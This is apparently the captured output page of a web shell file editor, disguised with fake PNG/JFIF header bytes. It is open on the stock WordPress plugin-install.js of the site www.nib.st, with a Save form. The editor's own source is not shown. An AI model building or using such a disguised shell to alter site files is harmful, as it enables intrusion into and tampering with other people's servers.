�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-admin%2Fjs%2F'>js</a>/</p><hr><h3>✏️ Editing: plugin-install.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @file Functionality for the plugin install screens.
 *
 * @output wp-admin/js/plugin-install.js
 */

/* global tb_click, tb_remove, tb_position */

jQuery( function( $ ) {

	var tbWindow,
		$iframeBody,
		$tabbables,
		$firstTabbable,
		$lastTabbable,
		$focusedBefore = $(),
		$uploadViewToggle = $( &#039;.upload-view-toggle&#039; ),
		$wrap = $ ( &#039;.wrap&#039; ),
		$body = $( document.body );

	window.tb_position = function() {
		var width = $( window ).width(),
			H = $( window ).height() - ( ( 792 &lt; width ) ? 60 : 20 ),
			W = ( 792 &lt; width ) ? 772 : width - 20;

		tbWindow = $( &#039;#TB_window&#039; );

		if ( tbWindow.length ) {
			tbWindow.width( W ).height( H );
			$( &#039;#TB_iframeContent&#039; ).width( W ).height( H );
			tbWindow.css({
				&#039;margin-left&#039;: &#039;-&#039; + parseInt( ( W / 2 ), 10 ) + &#039;px&#039;
			});
			if ( typeof document.body.style.maxWidth !== &#039;undefined&#039; ) {
				tbWindow.css({
					&#039;top&#039;: &#039;30px&#039;,
					&#039;margin-top&#039;: &#039;0&#039;
				});
			}
		}

		return $( &#039;a.thickbox&#039; ).each( function() {
			var href = $( this ).attr( &#039;href&#039; );
			if ( ! href ) {
				return;
			}
			href = href.replace( /&amp;width=[0-9]+/g, &#039;&#039; );
			href = href.replace( /&amp;height=[0-9]+/g, &#039;&#039; );
			$(this).attr( &#039;href&#039;, href + &#039;&amp;width=&#039; + W + &#039;&amp;height=&#039; + ( H ) );
		});
	};

	$( window ).on( &#039;resize&#039;, function() {
		tb_position();
	});

	/*
	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
	 * modal gets removed from the DOM.
	 */
	$body
		.on( &#039;thickbox:iframe:loaded&#039;, tbWindow, function() {
			/*
			 * Return if it&#039;s not the modal with the plugin details iframe. Other
			 * thickbox instances might want to load an iframe with content from
			 * an external domain. Avoid to access the iframe contents when we&#039;re
			 * not sure the iframe loads from the same domain.
			 */
			if ( ! tbWindow.hasClass( &#039;plugin-details-modal&#039; ) ) {
				return;
			}

			iframeLoaded();
		})
		.on( &#039;thickbox:removed&#039;, function() {
			// Set focus back to the element that opened the modal dialog.
			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
			$focusedBefore.trigger( &#039;focus&#039; );
		});

	function iframeLoaded() {
		var $iframe = tbWindow.find( &#039;#TB_iframeContent&#039; );

		// Get the iframe body.
		$iframeBody = $iframe.contents().find( &#039;body&#039; );

		// Get the tabbable elements and handle the keydown event on first load.
		handleTabbables();

		// Set initial focus on the &quot;Close&quot; button.
		$firstTabbable.trigger( &#039;focus&#039; );

		/*
		 * When the &quot;Install&quot; button is disabled (e.g. the Plugin is already installed)
		 * then we can&#039;t predict where the last focusable element is. We need to get
		 * the tabbable elements and handle the keydown event again and again,
		 * each time the active tab panel changes.
		 */
		$( &#039;#plugin-information-tabs a&#039;, $iframeBody ).on( &#039;click&#039;, function() {
			handleTabbables();
		});

		// Close the modal when pressing Escape.
		$iframeBody.on( &#039;keydown&#039;, function( event ) {
			if ( 27 !== event.which ) {
				return;
			}
			tb_remove();
		});
	}

	/*
	 * Get the tabbable elements and detach/attach the keydown event.
	 * Called after the iframe has fully loaded so we have all the elements we need.
	 * Called again each time a Tab gets clicked.
	 * @todo Consider to implement a WordPress general utility for this and don&#039;t use jQuery UI.
	 */
	function handleTabbables() {
		var $firstAndLast;
		// Get all the tabbable elements.
		$tabbables = $( &#039;:tabbable&#039;, $iframeBody );
		// Our first tabbable element is always the &quot;Close&quot; button.
		$firstTabbable = tbWindow.find( &#039;#TB_closeWindowButton&#039; );
		// Get the last tabbable element.
		$lastTabbable = $tabbables.last();
		// Make a jQuery collection.
		$firstAndLast = $firstTabbable.add( $lastTabbable );
		// Detach any previously attached keydown event.
		$firstAndLast.off( &#039;keydown.wp-plugin-details&#039; );
		// Attach again the keydown event on the first and last focusable elements.
		$firstAndLast.on( &#039;keydown.wp-plugin-details&#039;, function( event ) {
			constrainTabbing( event );
		});
	}

	// Constrain tabbing within the plugin modal dialog.
	function constrainTabbing( event ) {
		if ( 9 !== event.which ) {
			return;
		}

		if ( $lastTabbable[0] === event.target &amp;&amp; ! event.shiftKey ) {
			event.preventDefault();
			$firstTabbable.trigger( &#039;focus&#039; );
		} else if ( $firstTabbable[0] === event.target &amp;&amp; event.shiftKey ) {
			event.preventDefault();
			$lastTabbable.trigger( &#039;focus&#039; );
		}
	}

	/*
	 * Open the Plugin details modal. The event is delegated to get also the links
	 * in the plugins search tab, after the Ajax search rebuilds the HTML. It&#039;s
	 * delegated on the closest ancestor and not on the body to avoid conflicts
	 * with other handlers, see Trac ticket #43082.
	 */
	$( &#039;.wrap&#039; ).on( &#039;click&#039;, &#039;.thickbox.open-plugin-details-modal&#039;, function( e ) {
		// The `data-title` attribute is used only in the Plugin screens.
		var title = $( this ).data( &#039;title&#039; ) ?
			wp.i18n.sprintf(
				// translators: %s: Plugin name.
				wp.i18n.__( &#039;Plugin: %s&#039; ),
				$( this ).data( &#039;title&#039; )
			) :
			wp.i18n.__( &#039;Plugin details&#039; );

		e.preventDefault();
		e.stopPropagation();

		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
		$focusedBefore = $( this );

		tb_click.call(this);

		// Set ARIA role, ARIA label, and add a CSS class.
		tbWindow
			.attr({
				&#039;role&#039;: &#039;dialog&#039;,
				&#039;aria-label&#039;: wp.i18n.__( &#039;Plugin details&#039; )
			})
			.addClass( &#039;plugin-details-modal&#039; );

		// Set title attribute on the iframe.
		tbWindow.find( &#039;#TB_iframeContent&#039; ).attr( &#039;title&#039;, title );
	});

	/* Plugin install related JS */
	$( &#039;#plugin-information-tabs a&#039; ).on( &#039;click&#039;, function( event ) {
		var tab = $( this ).attr( &#039;name&#039; );
		event.preventDefault();

		// Flip the tab.
		$( &#039;#plugin-information-tabs a.current&#039; ).removeClass( &#039;current&#039; );
		$( this ).addClass( &#039;current&#039; );

		// Only show the fyi box in the description section, on smaller screen,
		// where it&#039;s otherwise always displayed at the top.
		if ( &#039;description&#039; !== tab &amp;&amp; $( window ).width() &lt; 772 ) {
			$( &#039;#plugin-information-content&#039; ).find( &#039;.fyi&#039; ).hide();
		} else {
			$( &#039;#plugin-information-content&#039; ).find( &#039;.fyi&#039; ).show();
		}

		// Flip the content.
		$( &#039;#section-holder div.section&#039; ).hide(); // Hide &#039;em all.
		$( &#039;#section-&#039; + tab ).show();
	});

	/*
	 * When a user presses the &quot;Upload Plugin&quot; button, show the upload form in place
	 * rather than sending them to the devoted upload plugin page.
	 * The `?tab=upload` page still exists for no-js support and for plugins that
	 * might access it directly. When we&#039;re in this page, let the link behave
	 * like a link. Otherwise we&#039;re in the normal plugin installer pages and the
	 * link should behave like a toggle button.
	 */
	if ( ! $wrap.hasClass( &#039;plugin-install-tab-upload&#039; ) ) {
		$uploadViewToggle
			.attr({
				role: &#039;button&#039;,
				&#039;aria-expanded&#039;: &#039;false&#039;
			})
			.on( &#039;click&#039;, function( event ) {
				event.preventDefault();
				$body.toggleClass( &#039;show-upload-view&#039; );
				$uploadViewToggle.attr( &#039;aria-expanded&#039;, $body.hasClass( &#039;show-upload-view&#039; ) );
			});
	}
});
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-admin%2Fjs'>🔙 Back</a></p>